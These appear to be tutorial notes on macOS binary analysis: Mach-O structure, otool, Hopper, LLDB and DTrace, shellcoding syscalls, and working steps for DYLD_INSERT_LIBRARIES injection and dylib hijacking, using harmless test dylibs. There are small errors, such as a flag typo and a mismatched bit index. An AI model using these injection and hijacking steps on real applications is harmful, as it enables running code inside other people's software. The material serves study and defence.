• Dump load command with otool:

otool -lv /path_to_binary

• Dump libraries in LC_LOAD_DYLINKER:

otool -L /path_to_binary

Mach-O Data

The data in Mach-O files is organized into segments and sections. Segments are larger chunks of data with specific roles, like containing internal & external functions information, symbol table, executable code or read-only data. Each segment can be further divided into sections that hold smaller, more specific blocks of data. This hierarchical structure allows for efficient data management and access, crucial for performance during execution.

• Dump all segments and sections using otool:

otool -m /path_to_binary

• Example:

Segment __PAGEZERO: 4294967296 (zero fill) 
Segment __TEXT: 32768
	Section __text: 15384
	Section __auth_stubs: 1344
	Section __const: 212
	Section __cstring: 1268
	Section __unwind_info: 212
	total 18420
Segment __DATA_CONST: 16384
	Section __auth_got: 672
	Section __got: 48
	Section __const: 616
	total 1336
Segment __DATA: 16384
	Section __data: 32
	Section __common: 176 (zerofill)
	Section __bss: 336 (zerofill)
	total 544
Segment __LINKEDIT: 32768
total 4295065600

The __PAGEZERO segment plays a crucial role in security. It sets up a memory area called the zero page at the very start of the address space for each process, but it makes this page completely unusable. The memory protection settings for this page are set to zero, meaning nothing can be read from, written to, or executed on this page. This design helps prevent security flaws, specifically NULL pointer dereference vulnerabilities, by ensuring that any attempt to access this low memory area will lead to an error, rather than allowing potentially harmful operations.

Explaining

MacOS Binary Static Analysis

Codesign

Objdump

Jtool2

Hopper

Lables

• Address: This is the hexadecimal address of the label within the binary’s memory space. It points to where the label, which can be a function, a variable, or a marker, is located in the disassembled code.
• Type: Indicates the nature of the label. Common types include:
  • S (Symbol) for named points in the code which could represent functions or markers placed by the compiler or the disassembler.
  • A (Array) denoting the beginning of an array data structure.
  • P (Procedure) representing the start of a procedure or function.
  • D (Data) for locations that are marked to hold data rather than executable code.
• Name: This is the name assigned to the label. It could be a name given by the programmer, or it could be a name generated by Hopper based on the label’s usage or content. For example: __mh_execute_header typically marks the start of the Mach-O header in macOS executables. _main is the name conventionally given to the starting point of a C or C++ program. printf and dyld_stub_binder suggest imported functions used for printing to the console and dynamic linking, respectively.

Functions

• Idx (Index): This is a sequential number assigned to each procedure for easy reference. It typically starts from 0 and increments by 1 for each procedure discovered in the binary.
• Name: The name of the procedure, which can be the one assigned by the programmer or inferred from debugging symbols or imports within the binary. In this case, you have _main, which is typically the entry point for C programs, and printf, a standard C library function for printing formatted output to the console.
• Block: Indicates the basic block count within the procedure. A basic block is a straight-line code sequence with no branches in except to the entry and no branches out except at the exit. In the provided image, both _main and printf are part of one basic block.
• Size: Represents the size of the procedure in bytes. This tells you how much space the compiled machine code for this procedure occupies. _main is 28 bytes, while printf is 6 bytes.

Strings

• Readabble Strings extracted from the binary

Disassembly view

Graphical View

Decompiling

Hex view

External functions Resolution

• External function printf

• Double clicking on imp___stubs__printf take us to the pointer:

• Double cliuck on -printf_ptr take us to the __la_symbol_ptr section, which contains a list of external pointers.

And here where dynamic loader (dyld) will populate the address of the external function.

Useful table for static analysis with hopper

MacOS Binary Dynamic Analysis

Debugging Rules

The rules for debugging applications on macOS;

1. Debugging Signed Applications with Entitlements:
   • Applications that are signed and have the com.apple.security.get-task-allow entitlement can be debugged by a standard user. This entitlement specifically allows other processes, like debuggers, to attach to the application. Xcode automatically adds this entitlement to apps when they are built for development.
2. Applications Protected by SIP:
   • System Integrity Protection (SIP) restricts debugging of system binaries or those signed with hardened runtime unless the target application has the com.apple.security.get-task-allow entitlement. To debug such applications, the debugger itself must have the com.apple.security.cs.debugger entitlement.
3. Debugging Non-Protected Applications:
   • Applications not protected by SIP and without the com.apple.security.get-task-allow entitlement can still be debugged if the user runs the debugger as root or authenticates as an admin.
4. Limitations on Debugging System Binaries or Hardened Runtime Applications:
   • You cannot debug system binaries or applications signed with hardened runtime as part of Apple’s notarization requirements, unless they have the com.apple.security.get-task-allow entitlement.
5. Notarization:
   • Notarization is an Apple security process for scanning applications for malicious content before distribution. If an app is not notarized, Gatekeeper may block its execution to protect the system.
6. Disabling SIP:
   • While disabling SIP would technically allow debugging of any application, it is not recommended. SIP provides critical protections beyond just debugging restrictions, including protecting core system files and preventing unsigned kernel extensions from loading. Disabling SIP significantly weakens macOS security.

LLDB

Esssentail Start

Symbols

Display & Manupilating ( CPU & Memory):

Breakpoints in LLDB

Debugging (Stepping & Tracing) in LLDB

Modules & Info Commands in LLDB

Evaluate Expression in LLDB

LLDB Scripting

Hopper

Set a breakpoint

• One the red line on the left side click on the line you want to set breakpoint at:

BookMark an instruction

• On the green line on the left side click on the line next to the instruction you want to bookmark:

Bookark list

Breakpoints list

Debugger

• Choose the local or remote debugging

Local Debugging

1. Controls:
   • This area typically contains buttons for controlling the debugging session, such as starting/pausing the execution (Play/Pause buttons), stopping the debug session, stepping into/over/out of functions (Step commands), and potentially restarting the debugged program. The “Connected” indicator suggests a successful attachment to the process or target for debugging.
2. Threads and Callstack:
   • This section is split into two main parts:
     • Threads: Shows a list of all the threads in the current debugging session. You can select a thread to view its call stack and register state.
     • Callstack: Displays the call stack of the selected thread. The call stack lists the sequence of function calls that are currently active. It starts with the current function where the execution is paused and goes back to the initial function call.
3. Attach to Process:
   • This button is used to attach the debugger to a running process. You can use this if you want to debug a program that is already running rather than starting a new debug session.
4. Register Groups:
   • The register tabs (GPR, FPU, MMX, etc.) organize the display of the CPU’s registers into groups:
     • GPR (General Purpose Registers): Displays general-purpose registers like RAX, RBX, RCX, etc. These registers are used for a variety of purposes, including arithmetic and data manipulation.
     • FPU (Floating-Point Unit Registers): Shows the state of floating-point registers used for floating-point arithmetic operations.
     • MMX (Multimedia Extensions Registers): Lists MMX registers which are used for multimedia tasks like audio or video processing.
     • Each register may have indicators or buttons next to them for additional functionalities like setting watchpoints or modifying their values.
   • Memory: A tab or section for viewing and editing the memory of the process being debugged.
   • Debugger Console: An interface for typing commands directly into the debugger, similar to a command-line interface.
   • Application Output: Where the standard output and error streams from the debugged process are displayed. This is where you would see print statements or error messages from the program.
   • Various CPU registers state (right side): Displaying the current state of additional registers, like segment registers (CS, DS, ES, etc.) and flags (RFLAGS), providing status flags and control bits used by the CPU.

     DTrace

     DTrace is a comprehensive dynamic tracing framework that is integrated into the XNU kernel on macOS. It provides detailed real-time insights into kernel and application behavior.

DTrace Basic Terms

• Providers: Modules within the kernel that offer tracing functionality. Example: syscall.
• Probes: Trace points within providers that monitor specific events, like function entry and exit.
• DTrace Consumers: Utilities that interact with DTrace, such as the dtrace command.
• D Language: Scripting language used to write DTrace programs.

DTrace and Utilities for Different Usages

Examples of DTrace Script Usage

1. List all syscall probes for open calls

2.    sudo dtrace -l -n 'syscall::open*:entry'
   

3. Trace system calls for a process named ‘myapp’

4.    sudo dtrace -n 'syscall:::entry /execname == "myapp"/ { trace(probefunc); }'
   

5. Run a DTrace script from a file

   sudo dtrace -s /path/to/myscript.d
   

6. Trace file opens for process ID 12345 using opensnoop

   sudo opensnoop -p 12345
   

7. Monitor disk I/O size by process using bitesize.d

   sudo bitesize.d
   

• Scripting with dtrace:
  • https://docs.oracle.com/cd/E18752_01/html/819-5488/docinfo.html
  • https://docs.oracle.com/en/operating-systems/solaris/oracle-solaris/11.4/dtrace-guide/index.html

Shellcoding On AMD64

macOS System Call Classes

Each system call class is associated with a unique number, which is shifted left by 24 bits (defined by SYSCALL_CLASS_SHIFT) to determine its class. The SYSCALL_CLASS_MASK and SYSCALL_NUMBER_MASK are used to extract the class and syscall number respectively.

For example, a traditional BSD system call such as execve (system call number 59 or 0x3b) in the SYSCALL_CLASS_UNIX (number 2) would be represented as 0x200003b when passed to the syscall assembly instruction.

; Assembly example to make a syscall with execve (BSD) in macOS
mov rax, 0x200003b  ; Load the syscall number for execve (59 with class mask)
mov rdi, address    ; Address of the command to execute
mov rsi, argv       ; Pointer to an array of arguments
mov rdx, envp       ; Pointer to an array of environment variables
syscall             ; Make the system call

Calling Conventions and Registers for Shellcoding on macOS (AMD64)

If a function requires more than six arguments, additional arguments are passed on the stack. It is essential to ensure that the RSP is properly aligned before making a function call. Despite system calls often working without strict alignment, adhering to this requirement is a good practice to avoid unexpected behavior.

Example

To illustrate how these registers are used in a function call, consider a function foo that takes three arguments.

; Assume arg1, arg2, and arg3 are already set with appropriate values
mov rax, syscall_number
mov rdi, arg1 ; 1st argument
mov rsi, arg2 ; 2nd argument
mov rdx, arg3 ; 3rd argument
syscall      ; Call the function

Syscalls

You can find system calls numbers in the syscalls.master under the xnu source, You could choose the one you need with the version from the following link:

• https://opensource.apple.com/source/xnu/ and https://opensource.apple.com/releases/

Avoid Null-Bytes in Syscalls

To find out the bit number to set with the bts instruction, you need to compare the binary representation of the syscall number (example: 0x3b) with the binary representation of the syscall number plus the class mask (0x200003b). The echo and bc commands can be used to convert hexadecimal numbers to binary, and the xargs, printf, and tr commands format the output to compare the bits easily.

1. Convert the syscall number (0x3b) to binary:

echo "obase=2; ibase=16; 3B" | bc | xargs printf "%064s\n" | tr ' ' '0'

This command will output the binary representation of 0x3b as a 64-bit number, padded with zeroes.

1. Convert the syscall number with the class mask (0x200003b) to binary:

echo "obase=2; ibase=16; 200003B" | bc | xargs printf "%064s\n" | tr ' ' '0'

This command will output the binary representation of 0x200003b as a 64-bit number, padded with zeroes.

1. Compare the Outputs:

Look for the first bit that differs when comparing the binary output from step 1 to the output from step 2. The differing bit’s position (starting from 0 on the right) is the bit you need to set with the bts instruction to transform the syscall number into the one with the class mask applied.

For instance, if the binary output for 0x3b is:

000...0000111011

And the binary output for 0x200003b is:

...0010000000000000000000111011

The differing bit is the 25th bit from the right (or the 24th index if you start counting from 0), which corresponds to the class mask.

Now, knowing that you need to set the 25th bit, you use the bts instruction with index 24 to set this bit in the register, as shown in the assembly example previously provided.

Syscall Number (0x3b):    000...0000111011
Syscall Number (0x200003b): ...0010000000000000000000111011
                               ^
                               |
                               +--- Bit to set with `bts`

• Now executring the syscall:

push  59         ; put 59 on the stack
pop   rax        ; pop it to RAX
bts   rax, 25    ; set the 25th bit to 1
syscall

Shellcoding on ARM64

Calling Conventions and Registers on macOS (Apple Silicon)

The ARM64 architecture requires that the stack pointer (SP) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls.

; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc 0                   ; Issue the system call instruction

Syscalls

You can find system calls numbers in the syscalls.master under the xnu source, You could choose the one you need with the version from the following link:

• https://opensource.apple.com/source/xnu/

Avoid Null-Bytes in Syscalls

Instead of performing the syscall using svc 0, the argument for for svc is aribtrary value, So it can be replaced:

mov x16, #SYS_write     ; Load the syscall number for 'write' into X16
mov x0, #1              ; File descriptor 1 (stdout)
mov x1, buffer          ; Pointer to buffer to write from
mov x2, #buffer_size    ; Number of bytes to write
svc #1337                   ; Issue the system call instruction

DYLD_INSERT_LIBRARIES Injection

1. Understanding DYLD_INSERT_LIBRARIES:
   • DYLD_INSERT_LIBRARIES is an environment variable similar to LD_PRELOAD on Linux.
   • It specifies a list of dynamic libraries to load before the application’s own libraries.
   • Libraries specified in DYLD_INSERT_LIBRARIES are loaded and executed in the context of the target application.
2. Creating a Dynamic Library:

   • Write a C file for the dynamic library that will be injected. Example code:

       #include <stdio.h>
       #include <syslog.h>
     
       __attribute__((constructor))
       static void myconstructor(int argc, const char **argv) {
         printf("[+] dylib constructor called from %s\n", argv[0]);
         syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
       }
     

   • Compile this code into a dynamic library using GCC:

     gcc -dynamiclib example.c -o example.dylib
     

3. Preparing the Target Application:

   • Create a simple application to test the injection, such as a “Hello World” program:

     #include <stdio.h>
     int main() {
         printf("Hello, World!\n");
         return 0;
     }
     

   • Compile the application:

     gcc hello.c -o hello
     

4. Performing the Injection:

   • Set the DYLD_INSERT_LIBRARIES environment variable to point to the compiled dylib and run the target application:

     DYLD_INSERT_LIBRARIES=example.dylib ./hello
     

   • The output should confirm that the dylib was loaded before the application’s main function:

     [+] dylib constructor called from ./hello
     Hello, World!
     

5. Monitoring Logs:

   • Use macOS’s logging system to confirm the injection and monitor behaviors:

     log stream --style syslog --predicate 'eventMessage CONTAINS[c] "constructor"'
     

   • This command filters and streams log messages containing “constructor”, showing live outputs as the injected dylib executes.

Restrictions of DYLD_INSERT_LIBRARIES

To mitigate the abuse of the DYLD_INSERT_LIBRARIES environment variable, Apple has implemented specific restrictions in the dyld loader. The key function in the dyld source code that manages the restrictions is pruneEnvironmentVariables, which is responsible for removing certain environment variables during the load process:

static void pruneEnvironmentVariables(const char* envp[], const char*** applep) {
    // delete all DYLD_* and LD_LIBRARY_PATH environment variables
    ...
    dyld::log("dyld: DYLD_ environment variables being ignored because ");
    switch (sRestrictedReason) {
        case restrictedNot:
            break;
        case restrictedBySetGUid:
            dyld::log("main executable (%s) is setuid or setgid\n", sExecPath);
            break;
        case restrictedBySegment:
            dyld::log("main executable (%s) has __RESTRICT/__restrict section\n", sExecPath);
            break;
        case restrictedByEntitlements:
            dyld::log("main executable (%s) is code signed with entitlements\n", sExecPath);
            break;
    }
    ...
}

The removal of variables is influenced by:

1. Setuid/setgid Executables:
   • Environment variables starting with DYLD_ are ignored if the executable has setuid or setgid bits set. This is a security measure to prevent privilege escalation by injecting unauthorized code into a higher-privileged process.
2. Executables with Restricted Segment:
   • If the executable contains a __RESTRICT/__restrict segment in the Mach-O file, DYLD_ environment variables are also ignored. This segment signals that the binary opts out of certain dynamic loading features to increase its security stance.
3. Entitlements and Code Signing:
   • Executables that are code signed with entitlements may have restrictions on environment variables. If the CS_RESTRICT flag is set in the code signature, it indicates that the process is restricted, leading to the ignoring of DYLD_ variables.

Understanding processRestricted Function

The processRestricted function is pivotal in setting up the reasons for restrictions:

static bool processRestricted(const macho_header* mainExecutableMH) {
    if (issetugid()) {
        sRestrictedReason = restrictedBySetGUid;
        return true;
    }
    ...
    if (syscall(SYS_csops, 0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1) {
        if (flags & CS_RESTRICT) {
            sRestrictedReason = restrictedByEntitlements;
            return true;
        }
    }
    ...
    return false;
}

• This function checks for setuid/setgid statuses and whether the executable’s code signature defines it as restricted.

Debugging AMFI

1. Setup:
   • Use lldb to attach to the process or during the process launch.
   • Set a breakpoint on amfi_check_dyld_policy_self to inspect how AppleMobileFileIntegrity (AMFI) influences the loading of dynamic libraries.

(lldb) b amfi_check_dyld_policy_self
Breakpoint 1: where = dyld`amfi_check_dyld_policy_self, address = 0x100001234

1. Debugging:
   • Continue execution to reach the breakpoint, then step through the code to observe how input flags are processed and output flags are set.
2. Inspecting AMFI Output Flags:
   • After the syscall, The output flags from amfi_check_dyld_policy_self (stored in RCX register) determine what an application can do concerning dynamic library loading. Each flag corresponds to a specific permission:
     • AMFI_DYLD_OUTPUT_ALLOW_AT_PATH: Allows loading dylibs from arbitrary paths.
     • AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS: Permits printing environment variables.
     • AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS: Allows using path variables.
     • AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE: Permits custom shared cache settings.
     • AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS: Enables fallback paths for library loading.
     • AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION: Allows the insertion of libraries even if they fail some checks.
     • AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING: Permits library interposing.

SIP and AMFI Bits

1. System Integrity Protection (SIP) Bits:
   • SIP is controlled using specific configuration flags. Each bit in the configuration represents a different aspect of system protection, such as allowing debugging or kernel extensions. These are set in the csrActiveConfig and checked against desired permissions.
   • Example flag: CSR_ALLOW_TASK_FOR_PID allows debugging processes.
2. AMFI Policy Output Flags:
   • These flags are set based on the security policy checks performed by AMFI. They influence the loader’s behavior regarding environment variables and dynamic loading.
   • To interpret the flags, convert the output integer to binary and match each bit to the flag definitions.

Checking Flags

• Use shell commands to interpret numeric values into binary for easier flag analysis:

echo "obase=2; ibase=16; $(printf '%X' $FLAGS)" | bc

Script to check AMFI flags

#import <Foundation/Foundation.h>

typedef NS_OPTIONS(NSUInteger, amfi_dyld_policy_output_flag_set) {
    AMFI_DYLD_OUTPUT_ALLOW_AT_PATH               = (1 << 0),
    AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS             = (1 << 1),
    AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE   = (1 << 2),
    AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS        = (1 << 3),
    AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS            = (1 << 4),
    AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION = (1 << 5),
    AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING   = (1 << 6),
};

void checkFlags(NSUInteger flags) {
    NSString *greenStart = @"\033[32m"; // Green start
    NSString *redStart = @"\033[31m";   // Red start
    NSString *colorEnd = @"\033[0m";    // Reset to default color
    
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_AT_PATH (gLinkContext.allowAtPaths): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? greenStart : redStart, (flags & 
AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS (gLinkContext.allowEnvVarsPath): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? greenStart : redStart, (flags 
& AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE (gLinkContext.allowEnvVarsSharedCache): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? 
greenStart : redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS (gLinkContext.allowClassicFallbackPaths): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? greenStart 
: redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS (gLinkContext.allowEnvVarsPrint): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? greenStart : redStart, 
(flags & AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? @"Set" : @"Not Set", colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION (gLinkContext.allowInsertFailures): %@%@", (flags & 
AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? greenStart : redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? @"Set" : @"Not Set", 
colorEnd);
    NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING (gLinkContext.allowInterposing): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? 
greenStart : redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? @"Set" : @"Not Set", colorEnd);
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc < 2) {
            NSLog(@"Usage: %@ <hex value>", [NSString stringWithUTF8String:argv[0]]);
            return 1; // Exit if no hex value is provided
        }

        NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
        NSUInteger hexValue = strtoul([hexArgument UTF8String], NULL, 16);

        checkFlags(hexValue);
    }
    return 0;
}

• Compile and run:

Compile
gcc -fraework Foundation checkDYLDFlags.m -o checkDYLDFlags

Run
./checkDYLDFlags 0X5d # replace with the output value

Script to check SIP(CSR) flags

#import <Foundation/Foundation.h>

// Define the CSR flags
#define CSR_ALLOW_UNTRUSTED_KEXTS               (1 << 0)
#define CSR_ALLOW_UNRESTRICTED_FS               (1 << 1)
#define CSR_ALLOW_TASK_FOR_PID                  (1 << 2)
#define CSR_ALLOW_KERNEL_DEBUGGER               (1 << 3)
#define CSR_ALLOW_APPLE_INTERNAL                (1 << 4)
#define CSR_ALLOW_UNRESTRICTED_DTRACE           (1 << 5)
#define CSR_ALLOW_UNRESTRICTED_NVRAM            (1 << 6)
#define CSR_ALLOW_DEVICE_CONFIGURATION          (1 << 7)
#define CSR_ALLOW_ANY_RECOVERY_OS               (1 << 8)
#define CSR_ALLOW_UNAPPROVED_KEXTS              (1 << 9)
#define CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE    (1 << 10)
#define CSR_ALLOW_UNAUTHENTICATED_ROOT          (1 << 11)

// Function to check and print the status of CSR flags
void checkCSRFlags(uint32_t flags) {
    NSString *greenStart = @"\033[32m"; // Green start
    NSString *redStart = @"\033[31m";   // Red start
    NSString *colorEnd = @"\033[0m";    // Reset to default color
    
    // Array of flag names for defined and undefined flags
    NSString *flagNames[] = {
        @"CSR_ALLOW_UNTRUSTED_KEXTS",
        @"CSR_ALLOW_UNRESTRICTED_FS",
        @"CSR_ALLOW_TASK_FOR_PID",
        @"CSR_ALLOW_KERNEL_DEBUGGER",
        @"CSR_ALLOW_APPLE_INTERNAL",
        @"CSR_ALLOW_UNRESTRICTED_DTRACE",
        @"CSR_ALLOW_UNRESTRICTED_NVRAM",
        @"CSR_ALLOW_DEVICE_CONFIGURATION",
        @"CSR_ALLOW_ANY_RECOVERY_OS",
        @"CSR_ALLOW_UNAPPROVED_KEXTS",
        @"CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE",
        @"CSR_ALLOW_UNAUTHENTICATED_ROOT",
        @"UNDEFINED_FLAG_12",
        @"UNDEFINED_FLAG_13",
        @"UNDEFINED_FLAG_14",
        @"UNDEFINED_FLAG_15",
        @"UNDEFINED_FLAG_16",
        @"UNDEFINED_FLAG_17",
        @"UNDEFINED_FLAG_18",
        @"UNDEFINED_FLAG_19",
        @"UNDEFINED_FLAG_20",
        @"UNDEFINED_FLAG_21",
        @"UNDEFINED_FLAG_22",
        @"UNDEFINED_FLAG_23",
        @"UNDEFINED_FLAG_24",
        @"UNDEFINED_FLAG_25",
        @"UNDEFINED_FLAG_26",
        @"UNDEFINED_FLAG_27",
        @"UNDEFINED_FLAG_28",
        @"UNDEFINED_FLAG_29",
        @"UNDEFINED_FLAG_30",
        @"UNDEFINED_FLAG_31"
    };

    // Check each flag and print its status
    for (int i = 0; i < 32; i++) {
        BOOL isSet = (flags & (1 << i)) != 0;
        NSLog(@"%@%@: %@%@", isSet ? greenStart : redStart, flagNames[i], isSet ? @"Set" : @"Not Set", colorEnd);
    }
}

int main(int argc, const char * argv[]) {
    @autoreleasepool {
        if (argc < 2) {
            NSLog(@"Usage: %@ <hex value>", [NSString stringWithUTF8String:argv[0]]);
            return 1; // Exit if no hex value is provided
        }

        NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
        uint32_t hexValue = strtoul([hexArgument UTF8String], NULL, 16);

        checkCSRFlags(hexValue);
    }
    return 0;
}

• Compile and run:

Compile
gcc -fraework Foundation checkCSRFlags.m -o checkCSRFlags

Run
./checkCSRFlags 0x2fd # replace with the your value

Verifying Restrictions of DYLD_INSERT_LIBRARIES

Setting Up and Testing SUID Restrictions

1. Change ownership and set SUID bit:
   • Change the ownership of the binary to root and set the SUID bit to enable execution with root privileges.

sudo chown root hello
sudo chmod +s hello
ls -l hello

1. Testing dylib injection with SUID bit set:

   • When attempting to inject a dylib into a binary with the SUID bit set, the injection should fail, indicating the security measures are working as expected.

./hello  # Normal execution
DYLD_INSERT_LIBRARIES=example.dylib ./hello  # Attempted dylib injection

1. Remove SUID bit and test dylib injection:

   • Removing the SUID bit and attempting dylib injection again should succeed, demonstrating that the restriction is specifically linked to the SUID bit.

sudo chmod -s hello
DYLD_INSERT_LIBRARIES=example.dylib ./hello

Testing Restricted Segments

1. Add a restricted segment to the binary:

   • Compiling a binary with a specific segment (__RESTRICT/__restrict) that signals dyld to ignore certain dynamic loading features.

gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restricted

1. Attempt dylib injection into the restricted binary:

   • Injection attempts should fail, confirming that the restricted segment is recognized and respected by dyld.

DYLD_INSERT_LIBRARIES=example.dylib ./hello-restricted

1. Verify the presence of the restricted segment:

   • Using the size command to verify the segments and sections of the compiled binary, confirming the presence of the __RESTRICT segment.

size -x -l -m hello-restricted

Hardened Runtime and Code Signing

1. Enable hardened runtime and code-sign the binary:

   • Applying a hardened runtime setting to the binary using a self-signed certificate to enforce stricter security policies.

   • cp hello hello-signed
     codesign -s "Your Certificate Name" --options=runtime hello-signed
     

2. Test dylib injection on hardened runtime binary:

   • Attempts to inject a dylib into a binary with hardened runtime enabled should fail if the dylib does not match the code-signing requirements.

     DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed
     

3. Set library validation requirement and test:

   • Enforcing library validation to ensure that all loaded libraries are signed with the same certificate as the main executable.

codesign -f -s "Your Certificate Name" --options=library hello-signed
DYLD_INSERT_LIBRARIES=example.dylib ./hello-signed

Setting the CS_RESTRICT Flag

1. Setting the CS_RESTRICT flag on a binary:

   • Manually setting the CS_RESTRICT flag using the codesign command with the --option=0x800 flag. This is not typical in standard practice but can be used to enforce stricter security measures.

codesign -f -s "Your Certificate Name" --option=0x800 hello-signed

1. Verifying the signature and the CS_RESTRICT flag:

   • After setting the flag, verify that it has been applied correctly using the codesign -dv command to display detailed information about the code signing status of the binary.

codesign -dv hello-signed

Setting the CS_RESTRICT flag enhances security by restricting how the binary can be modified or interacted with, particularly by dynamic libraries. As With CS_RESTRICT set, any attempt to inject dynamic libraries using mechanisms like DYLD_INSERT_LIBRARIES will fail unless they meet specific security criteria, usually involving matching signatures.

Dylib Hijacking

Most important load commands & functions from a dylib hijacking point of view are the following:

Dylib Hijacking Scenarios

1. LC_LOAD_DYLIB

Scenario: An application uses a common library like libpng.dylib for image processing. The library is loaded via LC_LOAD_DYLIB with a path pointing to /usr/local/lib/libpng.dylib. An attacker gains write access to /usr/local/lib/ and replaces libpng.dylib with a malicious version. When the application is launched, the dynamic linker loads the malicious dylib instead of the legitimate one, allowing the attacker to execute arbitrary code within the context of the application.

2. LC_LOAD_WEAK_DYLIB

Scenario: A video editing software includes optional support for a plugin via a weakly linked library libplugin.dylib, referenced by LC_LOAD_WEAK_DYLIB. The software functions normally without this plugin if it’s not found. An attacker can drop a malicious libplugin.dylib into an expected search path (exploiting the weak link nature). The next time the software tries to load this plugin, it will inadvertently load the attacker’s dylib, enabling the attacker to manipulate or control the software.

3. LC_REEXPORT_DYLIB

Scenario: A system utility uses LC_REEXPORT_DYLIB to re-export libssl.dylib, allowing all symbols of libssl.dylib to be available to any module loaded by the utility. An attacker replaces the libssl.dylib with a malicious version on a system where the utility has permissions to write, or tricks the utility into loading the malicious version from a controlled path. The utility then inadvertently exports the symbols from the malicious library to other parts of the application, leading to widespread impact across the utility’s functionalities.

4. LC_LOAD_UPWARD_DYLIB

Scenario: An application uses two interdependent libraries, libA.dylib and libB.dylib, loaded via LC_LOAD_UPWARD_DYLIB. Both libraries depend on each other to function correctly. An attacker manages to replace libA.dylib with a malicious variant that still satisfies the dependency requirements of libB.dylib. When libB.dylib loads and calls functions from libA.dylib, it executes malicious code embedded by the attacker, potentially compromising data processed by libB.dylib.

5. dlopen

Scenario: A network monitoring tool dynamically loads custom extensions based on user configuration. The tool uses dlopen to load user_extension.dylib specified in a user-editable configuration file without verifying the path or authenticity of the file. An attacker modifies the configuration file to point dlopen to a malicious dylib located on a network share or a local path controlled by the attacker. When the tool executes and calls dlopen, it loads the malicious dylib, granting the attacker control over the network monitoring tool’s operations and data.

Test Apps for Dylib Hijacking

• Variables and it’s paths

LC_LOAD_WEAK_DYLIB

• Test using LC_LOAD_WEAK_DYLIB

1- First check the app/binary security and if it's exploitable
You can check when the app is vulnerable from my previous analysis from here: https://zeyadazima.com/macos/CVE_2023_26818_P1/#the-analysis
codesign -dv --entitlements :- /path/to/app

2- Secondly grep `LC_LOAD_WEAK_DYLIB` from load commands using `otool`
otool -l /path/to/app | grep LC_LOAD_WEAK_DYLIB -A 5

3- Check the dylib path and if it's exist or no
ls -l path_from_LC_LOAD_WEAK_DYLIB

Rpath-based dylib hijacking

1- Grep the paths where is used for loading
otool -l /path/to/app | grep LC_RPATH -A 2

2- Grep the path where @rpath is used, Also check the library version
otool -l /path/to/app | grep @rpath -A 3

3- Check the library path and if t's exist
ls -l /path/to/app{@rpath}/lib.dylib

dlopen dylib hijacking

the search path will default to the following (as noted at DYLD_FALLBACK_LIBRARY_PATH):

$HOME/lib
/usr/local/lib
/usr/lib
current directory

Monitor file system events to check the files
sudo fs_usage

Then look for dylibs that been requested and repeated in the search paths.

Exploit Dylib Hijacking

• A dylib test code:

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv)
{
  NSLog(@"Dylib hijack successful in %s",argv[0]);
}

• Exploitation steps

After identifying which dylib is vulnerable, Compile the test code
gcc -dynamiclib -current_version {version} -compatibility_version {version} -framework Foundation test.m -Wl,-reexport_library,"Hijacked dylib path" -o hijack.dylib

Check the reexport path
otool -l hijack.dylib| grep REEXPORT -A 2

Finally, set the full path to the library and copy it to the hijacking path
